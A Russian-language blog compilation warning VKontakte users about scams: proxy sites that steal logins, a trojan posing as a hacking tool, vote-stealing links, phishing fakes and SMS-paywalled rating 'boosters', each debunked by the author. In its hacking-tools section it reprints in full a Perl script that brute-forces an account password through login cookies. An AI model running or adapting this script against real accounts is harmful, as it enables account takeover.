Знаете такие сайты, через которые можно
заходить на сайты Вконтакте и Одноклассники, если на работе запретили
сидеть в соц. сетях? Такие сайты есть и они работают, но, как сообщает
антивирусная компания «Доктор Веб», такие прокси-сайты крадут логины,
пароли и другую личную информацию.
Когда вы переходите по предложенным ссылкам, то в дальнейшем весь
трафик проходит через их прокси-сервера. И злоумышленники легко могут
узнать все ваши логины, пароли, переписку и другие приватные данные.
Очень интересно услышать мнение тех, кто пользовался такими сайтами.
Увели у вас пароль или нет? Или может быть вы уже не можете зайти к себе
на страницу?
VKPROSER.EXE
Очередной вирус-троян, который выдают за
«суперскую программу для взлома страниц Вконтакте». Вот что написано на
сайте, который предлагает скачать этот вирус:
«VKPROSER — программа для взлома страниц vkontakte через id.
Многие ищут эту программу,хотят её скачать бесплатно.Но мало кто
находит.Программа очень редкая.В интернете почти не где нету.Продаётся
на дисках.А диск очень дорогой.
Специально для любителей повзламывать кидаю ссылку на программу:
ХХХХХХХ (я удалил ссылку)
Программа очень мало весит и это большой плюс! Это VKPROSER 2009. Это
взломаная программа,каторая не требует ни ключа ни регистрационных
данных на оффициальном сайте программы.
Просто запускаешь и взламываешь».
Я её скачал и отправил на проверку антивирусами. И вот что получилось
():
Антивирус
Версия
Обновление
Результат
a-squared
4.5.0.43
2010.01.01
Constructor.Win32.VB!IK
AhnLab-V3
5.0.0.2
2009.12.31
Constructor/Xema.32768.B
AntiVir
7.9.1.122
2009.12.31
TR/Agent.32768.95
Antiy-AVL
2.0.3.7
2009.12.31
Constructor/Win32.VB.gen
Authentium
5.2.0.5
2009.12.31
W32/Backdoor2.DNXS
Avast
4.8.1351.0
2009.12.31
Win32:VB-JTM
AVG
8.5.0.430
2009.12.31
Constructor.BNR
BitDefender
7.2
2010.01.01
Trojan.Agent.AHMM
CAT-QuickHeal
10.00
2009.12.31
Win32.TrojanSpy.Juzkapy.A.3
ClamAV
0.94.1
2010.01.01
Trojan.VB-7822
Comodo
3435
2010.01.01
Constructor.Win32.VB.DM
DrWeb
5.0.1.12222
2010.01.01
Trojan.Luzya
eSafe
7.0.17.0
2009.12.31
—
eTrust-Vet
35.1.7210
2010.01.01
Win32/ASuspect.AQWS
F-Prot
4.5.1.85
2009.12.31
W32/Backdoor2.DNXS
F-Secure
9.0.15370.0
2010.01.01
Trojan.Agent.AHMM
Fortinet
4.0.14.0
2010.01.01
—
GData
19
2010.01.01
Trojan.Agent.AHMM
Ikarus
T3.1.1.79.0
2009.12.31
Constructor.Win32.VB
Jiangmin
13.0.900
2010.01.01
Constructor.VB.am
K7AntiVirus
7.10.935
2009.12.31
Constructor.Win32.VB.dm
Kaspersky
7.0.0.125
2010.01.01
Constructor.Win32.VB.dm
McAfee
5848
2009.12.31
—
McAfee+Artemis
5848
2009.12.31
—
McAfee-GW-Edition
6.8.5
2010.01.01
Trojan.Agent.32768.95
Microsoft
1.5302
2010.01.01
TrojanSpy:Win32/Juzkapy.A
NOD32
4732
2009.12.31
Win32/VB.DM Constructor
Norman
6.04.03
2009.12.31
—
nProtect
2009.1.8.0
2009.12.31
—
Panda
10.0.2.2
2010.01.01
Suspicious file
PCTools
7.0.3.5
2010.01.01
—
Prevx
3.0
2010.01.01
High Risk Worm
Rising
22.28.03.04
2009.12.31
—
Sophos
4.49.0
2010.01.01
Troj/Agent-JWC
Sunbelt
3.2.1858.2
2010.01.01
—
TheHacker
6.5.0.3.124
2010.01.01
—
TrendMicro
9.120.0.1004
2010.01.01
—
VBA32
3.12.12.1
2009.12.31
Trojan.Win32.VB.jnd
ViRobot
2009.12.31.2118
2009.12.31
—
VirusBuster
5.0.21.0
2009.12.31
—
Не попадайтесь на такие простые разводы. И ещё раз напоминаю сервис
для проверки файлов на вирусы:
Как воруют голоса Вконтакте
Хочу предостеречь вас от перехода по
таким вот ссылкам: http://vkontakte.ru/id000000?rate=1&v=3.
Пишут, что перейдя по ней, вы поднимете себе рейтинг. Ага, ЩАС! По
таким ссылкам вы поднимете рейтинг другому, чей ID прописан в адресе.
Причём без вашего согласия вы отдадите ему свой голос, если он у вас
есть.
Так что вот полезный совет: ВСЕГДА НАЖИМАЙТЕ «ВЫЙТИ» НА САЙТЕ
ВКОНТАКТЕ, а не просто закрывайте окно с сайтом. Иначе переход по всяким
«плохим» ссылкам грозит вам кражей голосов и кукисов (cookie). А потом и
пароль могут подобрать, если он несложный или распространённый.
Новый фейк Вконтакте
Сегодня на блог
пришёл такой комментарий:
Хотите знать кто заходил к вам на страницу? Заходите на сайт
vk-anonym.tk . Пока сайт работает в тестовом режиме вы можете БЕСПЛАТНО
попробовать функцию слежения.
Зашёл я посмотреть на этот сайт — ничего нового для фейка: дизайн
Вконтакте и просьба ввести свой емайл и пароль от Вконтакте. Ага,
разбежался.
Внимание! Ничего не вводите,
иначе рискуете быть взломанными. Также выйдите из сайта
Вконтакте, если решите зайти на сайт vk-anonym.tk
Фейк Вконтакте
Фейк (от
англ. fake — подделка) — это лучший способ обмана пользователей
интернета. На примере сайта «Вконтакте» было создано немало
сайтов-подделок, полностью повторяющих дизайн Вконтакте. На моём блоге
примерами таких сайтов являются сайт бесплатных подарков, а также вирус
Вконтакте, который просит отправить СМС-ку.
Мне в руки попались оригинальные файлы сайта подарков. Можете
посмотреть его по адресу .
Можете вводить любые данные, они всё равно не записываются и никуда не
передаются. Сайт выложен только в ознакомительный целях.
Реальный же фейковый сайт записывал емайлы и пароли в лог-файл и
выводил сообщение, что данные введены не правильно. Отчего люди вводили
свои данные несколько раз.
Другой пример фейка — программа для поднятия рейтинга. Её можно
скачать на хакерских форумах. Как говорится в описании программы — логин
и пароль «лоха», захотевшего поднять свой рейтинг Вконтакте,
отправляются на аську или емайл злоумышленника. При этом юзеру выдаётся
сообщение, что соединиться с сайтом Вконтакте не удалось. На самом же
деле емайл и пароль уже успешно отправлены «злодею».
Специально для читателей этого сайта я записал видео, в котором
создаю фейковую программу с помощью другой программы-билдера. После
запуска созданной программы-фейка она пытается соединиться с каким-то
IP.
Бесплатные подарки Вконтакте (VK
Free Gifts)
Вы ещё не знаете, что есть такая «замечательная» программа VK
Free Gifts? С её помощью Вы сможете абсолютно бесплатно дарить
подарки любому человеку Вконтакте или получать подарки. Скачайте
программу (я не нашёл её в свободном доступе) и запустите.
Чтобы программа заработала, нужно всего-навсего отправить СМС, чтобы
активировать её. После отправки СМС и получения кода обнаруживаем, что программа VK Free Gifts
НЕ РАБОТАЕТ!!! Да, да, это опять очередной обман и развод лохов
на деньги.
P.S. Вконтакте спамится ещё один сайт с якобы
бесплатными подарками http://podarokvkontakte.ru.
Он уже помечен как опасный. Не вводите на нём свои данные от
Вконтакте — их украдут и взломают Вашу страничку.
Отсылайте подарки только легально
через сайт Вконтакте.ру. И не попадайтесь на уловки мошенников.
RATEGrabber (полный развод)
Нашёл ещё одну
программу для увеличения рейтинга ВКонтакте. Называется RATEGrabber.
Зашёл на первый сайт в Яндексе, который предлагает скачать эту
программу. Скачал архивчик размером 12 Мб (называется 2_05_09.rar). И
обнаружил, что никакой программы для увеличения рейтинга ВКонтакте
внутри архива нет!
Знаете, что лежит в архиве? Файл RatingGrabber.PIF
(это только ярлык для запуска, сама программа осталась где-то на чужом
компьютере здесь C:\DOCUME~1\568A~1\0016~1\2_05_09\RATING~1.EXE). В
папке data лежат два файла CoffeeMenuBuilder34.exe
и Opera_964_int_Setup.exe (это, как Вы понимаете,
совершенно другие программы).
И, наконец, что самое интересное, файл dll.exe
размером 6 байт содержит только надпись:
bugaga
Нас опять надули, и при этом ещё издеваются. Так что не ищите и не
скачивайте RATEGrabber — это полный развод.
Кстати, вот что пишет распространитель программы RATEGrabber: Секрет
о том, как работает эта программа я не расскажу, а то узнает
администрация ВКонтакте и исправит ошибки своего сайта:( Программа весит
мало!
Больше порадовала фраза «Программа весит мало!».
Ага, 12 Мб — это очень мало.
RateVK
Программа RateVK
предназначена, по словам её создателя, для увеличения рейтинга
Вконтакте без особых усилий и совершенно бесплатно. Только чтобы
программа заработала, её надо зарегистрировать. А для этого нужно
отправить СМС. К сожалению, сайт разработчика умер и номер для отправки
СМС узнать не могу.
Совершенно ясно, что программа RateVK никак не
повышает рейтинг, а только делает вид, что повышает. Автор зарабатывает
на доверчивых людях, отправляющих СМС-ки для регистрации RateVK.
Я добавляю эту программу в свою для Вконтакте.
Не отправляйте СМС, не ищите ключ к этой программе — она не
работает, это обман!
Vkontakte Rating Master (развод
лохов)
Это
просто пипец какая «клёвая» программа. И главное какой размах ажиотажа
вокруг этой супер-пупер проги под названием Vkontakte Rating
Master. Друзья, всё это полный развод Вас на деньги. Ну уж если
деньги Вы не потратили и нашли пароли к этой программе и к её базам
бесплатно, то не тратье хоть своё время зря.
Лично я «убил» на поиск паролей и проверку этой программы 1,5 часа и
сейчас подробно расскажу, что да как и что тут не так. Вы можете
повторить все мои действия и придёте к такому же результату.
Как заявлено создателем программы, Vkontakte Rating Master
при помощи некой уязвимости сайта Вконтакте ищет людей с
неиспользованным голосами и перекидывает их Вам. В итоге Ваш рейтинг
растет как на дрожжах. При этом используются мощные серверы для
обработки анкет.
Итак, начнём разбор «полётов».
1) Программа Vkontakte Rating Master работает с
некой базой данных пользователей Вконтакте. Размер самой программы — 9
Мб. Каждый месяц выходит новая база данных, размер которой в архиве
около 8 Мб. Всё это хозяйство предлагается скачать с файлообменников. За
скачивание этих файлов автор получает небольшое вознаграждение.
Файлы, с которыми я работал
2) Архивы с программой и базой данных закрыты паролем. Чтобы узнать
пароль нужно отправить СМС на номер 3649. Стоимость СМС при этом не
указывается. Поискав по интернету, узнаём, что стоимость СМС на номер
3649 составляет от 177 до 304 руб. (доказательство ).
Не слабо, да?
3) К программе также предлагается скачать обучающее видео, в котором
показывается, как работает программа Vkontakte Rating Master.
Мои впечатления после видео — она работает!!!
4) В интернете ходит такой пароль к программе: 20749953987093541153. Если его
использовать, то программа Vkontakte Rating Master
выдает сообщение, что не может соединиться с сервером. Я нашёл
правильный пароль: 93473796224060262894.
С ним программа якобы «успешно» соединяется с сервером.
На самом же деле никакого соединения не происходит. Это, так сказать,
обманный трюк. Хотите докажу? Всё просто — отключите у себя интернет и
запустите программу. Вводим любой логин и пароль 93473796224060262894,
выбираем файл с базой данных пользователей, жмём кнопку «Продолжить» и
ждем... О, чудо, программа соединилась с сервером! Вы это видели? Без
подключения к интернету!!! Чудеса да и только.
Анкета с id14205009 Оксаночка Никитина
5) После «успешного» соединения с сервером программа предлагает
ввести ID пользователя, рейтинг которого мы хотим повысить. Если Вы
вводите свой ID и далее ничего не происходит, то я Вас поздравляю — Вы
на правильном пути. Оказывается, программа Vkontakte Rating
Master принимает только ID с номером 14205009. Этот ID
используется в обучающем видео и принадлежит некоему «Андрей
~...~ Груничев» (судя по видео).
Если же сейчас Вы зайдете на страницу с этим ID (), то увидите анкету некой «Оксаночка
Никитина». Странно, не так ли?
Вводим ID 14205009
Ладно, оставляем этот ID и жмём кнопку «Начать сбор голосов». Потом
«Старт» и поехали. Программа активно начала просматривать анкеты и
искать голоса (при этом интернет может быть и выключен). А теперь фокус!
Нажмите на кнопку «Пауза» и увидите, что анкеты и найденные голоса
резко выросли! За одно нажатие кнопки! И не надо ждать 24 часа (как
показано в видео).
Нажал на кнопку "Пауза" через 5 секунд
Теперь, если немного подождать, то голоса и анкеты будут расти. А
если опять нажать на «Паузу», то всё снова сбросится до цифр (анкет —
53097, голосов — 842). Вот так работает программа Vkontakte
Rating Master.
6) Файлы с базой данных пользователей Вконтакте на самом деле никакие
не базы, а просто напичканные всякой ерундой файлы и раздутые до
огромных размеров. Вы с таким же успехом можете изменить у любого файла
расширение на .dbr и подсунуть программе. Она этого
даже не заметит. Так что скачивать базы данных не надо.
Андрей Груничев Вконтакте
7) Если в поиске Вконтакте поискать людей с именем «Андрей
Груничев», то найдется несколько анкет одного и того же
человека. Одна из анкет скрыта. У одного из Андреев Груничев в друзьях
одни девушки с порно-фотками (спамерские анкеты).
Ну вот и всё, что я хотел рассказать о мошеннической программе Vkontakte
Rating Master. Я считаю, что автора программы надо привлечь к
уголовной ответственности за такое мошенничество.
Не попадайтесь на развод. Не
скачивайте базы данных, не отсылайте СМС-ки, не скачивайте саму
программу. И не надо регистрироваться на сайте vkontakte-rating.com.
Повысить рейтинг Вконтакте можно только легально!!!
Можете предупредить своих друзей об этом разводе. Успехов!
Программа для взлома Вконтакте
Всем кто
ищет программу для взлома Вконтакте, а также «взлом вконтакте
бесплатно», «взлом вконтакте», «взлом
вконтакте скачать», «взлом пароля вконтакте»,
посвящается данный пост. Я, как программист со стажем, хочу открыть Вам
глаза на все эти вещи.
Итак, начнем с программ. Мне попались четыре программы.
Программа №1.
Называется vkontakte.ru bruteforce with multi-threads. Написана на
языке Perl.
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################
open (pass, "<$dic"); Next: @pass = pass(); for(0..$threads)
{$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail;
remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;} } }
goto Next;
sub pass
{
my (@mas);
while (){ push @mas, $_; last if (@mas == 400); }
chomp @mas;
return @mas;
}
Обратите внимание на строчку $dic = 'passl.txt'; #словарь
паролей. В этой строке указывается файл с заранее заданными
паролями.
Вывод: Эта программа не ломает аккаунт Вконтакте, а
тупо перебирает заранее заданные пароли из файла passl.txt. Конечно,
если пароль простой типа God или privet, то может его и можно подобрать.
Вообщем, сложный пароль никак не подобрать этой программой.
Программа №2.
Называется Vkontakte Cookie Password Recovery, что в переводе означает
Восстановление пароля Вконтакте из cookie
Эта программа не взламывает аккаунт Вконтакте. Она просто вытаскивает
из cookie (такие файлы, которые хранятся у Вас на компьютере)
зашифрованный (алгоритмом MD5) пароль. Такой зашифрованный пароль
невозможно расшифровать, поэтому программа пытается определить пароль
методом подбора, для чего использует базу заранее прописанных
всевозможных паролей на сайте gdataonline.com (на момент написания этого
поста в ней содержится 1,133,763,168 уникальный слов).
Вывод: программа работает только на том компьютере,
на котором она запущена. И находит пароль только если на этом компьютере
посещали сайт Вконтакте.ру. Далее зашифрованный пароль подбирается с
помощью базы заданных слов. Если пароль сложный, то его невозможно будет
подобрать.
Программа №3.
Называется vkontakte.exe (размер 114 176 байт)
К ней прилагается файл pass.txt с прописанными всевозможными словами,
которые люди могут использовать в качестве пароля. Принцип программы
похож на два предыдущих — подбор пароля по словарю (файл pass.txt), либо
перебором, что может занять всю жизнь, если пароль сложный.
Вывод: если пароль не сложный, то программа может
быть его и подберет. Для сложных паролей она не годится.
Программа №4.
Называется E-mail Social
«Программа всего лишь навсего заменяет e-mail вашей жертвы, на тот
который вы укажете (Ваш e-mail). Далее вам потребуется выполнить
простейшую процедуру восстановления пароля, который будет выслан на ваш
e-mail» — такое описание на сайте авторов. После скачивания программа
сразу не работает, а требует купить ключ к ней за 99 рублей. На такие
уловки я не попадаюсь, поэтому платить не стал.
Вывод: как можно изменить е-mail жертвы на другой
е-mail??? Для этого нужно взломать аккаунт жертвы и
поменять в его настройках на свой e-mail. А это и есть задача №1 для
взлома аккаунта, над которой бьются все умы человечества Так что эта программа, я уверен, является
не более чем уловкой для выманивания денег.
Вы знаете, наверное есть ещё другие программы, а также много сайтов,
которые обещают взломать аккаунт. Только они, скорее всего, содержат
вирусы (трояны), которые с легкостью украдут Ваши пароли, а не чужие.
Как себя обезопасить от взлома читайте в «».
P.S. Лучше не пытайтесь взломать Вконтакте — это грозит тюремным
сроком. Помните парня, который украл пароль своей подруги из
Одноклассников? Он уже сидит.
Программы для Вконтакте
Позвольте
привести несколько программ, которые реально работают и не содержат в
себе вирусов или троянов. Я сам лично все программы проверил.
Итак, для можете использовать программы
,
или Konusic (входит в дистрибутив вместе с VKonpic).
Для на стену друзей используйте
программы
или .
Чтобы скачать приложения (которые в виде flash) также используйте
программу .
Надеюсь, Вы с ними легко освоитесь
P.S. от 07.10.2009. Так как «Вконтакте» изменил
способ авторизации, то все старые версии VKonpic перестали работать. Я
обновил ссылку на скачивание и теперь вместе с Vkonpic в дистрибутив
входит ещё программа Konusic для скачивания музыки.